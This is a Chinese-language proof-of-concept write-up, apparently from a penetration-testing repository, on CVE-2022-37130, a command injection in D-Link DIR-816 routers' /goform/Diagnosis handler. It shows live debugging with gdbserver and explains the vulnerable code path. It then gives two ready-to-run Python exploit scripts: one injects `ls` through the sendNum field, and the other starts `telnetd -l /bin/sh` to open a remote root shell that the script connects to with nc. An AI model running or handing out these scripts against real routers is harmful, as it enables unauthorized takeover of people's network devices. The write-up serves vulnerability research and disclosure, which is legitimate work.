Files
Penetration_Testing_POC/iot/D-Link CVE-2022-37130.md

212 lines
7.2 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# D-Link CVE-2022-37130
> z1r0
> 来源:https://www.iotsec-zone.com/article/250
> - Manufacturer’s address:[https://www.dlink.com/](https://www.dlink.com/)
> - Firmware download address : [http://tsd.dlink.com.tw/GPL.asp](http://tsd.dlink.com.tw/GPL.asp)
> - Affected version:DIR-816 A2_v1.10CNB04
## 前言
花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作
## 逆向分析漏洞点
漏洞点发生在`formDefineManagement`中的`Diagnosi`函数中
![0.png](https://www.iotsec-zone.com/images/MdImg/56c37e39991959d7bfdc032d5816bfc7.png)
程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞
## 漏洞利用
我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个`gdbserver.mipsle`
然后在ubuntu上下载一个tftpd,并启动服务`sudo systemctl restart tftpd-hpa.service`,可以通过`sudo netstat -a | grep tftp`查看
![1.png](https://www.iotsec-zone.com/images/MdImg/839d1d1503abc2018b050ed7fbc7539b.png)
把存放`gdbserver.mipsle`这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中
转到/tmp目录下,因为其他很多目录都是只读,然后将`gdbserver.mipsle`利用tftp传到/tmp下,并给上执行权限
![2.png](https://www.iotsec-zone.com/images/MdImg/47445f0c3c5a29b265e07ff0b867cdb4.png)
接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid
![3.png](https://www.iotsec-zone.com/images/MdImg/23e74691278cd991c07ded38e1ef781d.png)
`./gdbserver.mipsle :1234 --attach 42`挂载到1234端口上
![4.png](https://www.iotsec-zone.com/images/MdImg/ca2b34d70b46f2a4ba8c931fbfa337c8.png)
到ubuntu上使用target remote去连接这个端口进行调试
![5.png](https://www.iotsec-zone.com/images/MdImg/6cd13a876ffc2b76f2420f34ecda7143.png)
正确加载了libc和text
![6.png](https://www.iotsec-zone.com/images/MdImg/becf9a02d47c7d32cc606fd076ac9069.png)
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过`if ( !strcmp(pingAddr, "0.0.0.0") )`,接着在sendNum中填入`ls`,看一下是否最后可以执行到ls
```python
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sending payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```
![7.png](https://www.iotsec-zone.com/images/MdImg/a0cac6dd4abf6272954415ac12870f09.png)
发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf
![8.png](https://www.iotsec-zone.com/images/MdImg/d300200c5b7e34c14d078cdda99d5e05.png)
如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是`> /tmp/diagnosis`
![9.png](https://www.iotsec-zone.com/images/MdImg/009e30777a9fdd8f969f42b4ddf60952.png)
继续往后调试也是最重要的dosystembk函数
![10.png](https://www.iotsec-zone.com/images/MdImg/49c9b8595f971266bf6500f4ade38d83.png)
因为mips的流水线,a1的值其实就是$sp + 0x28的值
![11.png](https://www.iotsec-zone.com/images/MdImg/bd213fa8e58b9f22874160672c7b92d1.png)
参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行
![12.png](https://www.iotsec-zone.com/images/MdImg/d36e95ec430b1cd700ad95230dec17b8.png)
但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程
![13.png](https://www.iotsec-zone.com/images/MdImg/3409cd4f19a0eb0779e4541416345cd5.png)
可以看到pid大于0,创建的是父进程
![14.png](https://www.iotsec-zone.com/images/MdImg/3a7fe5747611f530238aec1fd0e2443e.png)
其实这个是gdb的原因,笔者写了一个程序测试了一下
```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv){
int v5;
v5 = vfork();
if ( !v5 ){
puts("hello");
exit(0);
}
return 0;
}
```
发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令
所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell
`telnetd -p 8802 -l /bin/sh`
需要注意的是>没有用,故exp如下
```python
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
li('[+] getshell! pwned by z1r0')
os.system("nc 192.168.0.1 8802")
```
![15.png](https://www.iotsec-zone.com/images/MdImg/18da913e65b35d71a855f34cc99bfac6.png)
成功getshell
## 总结
笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用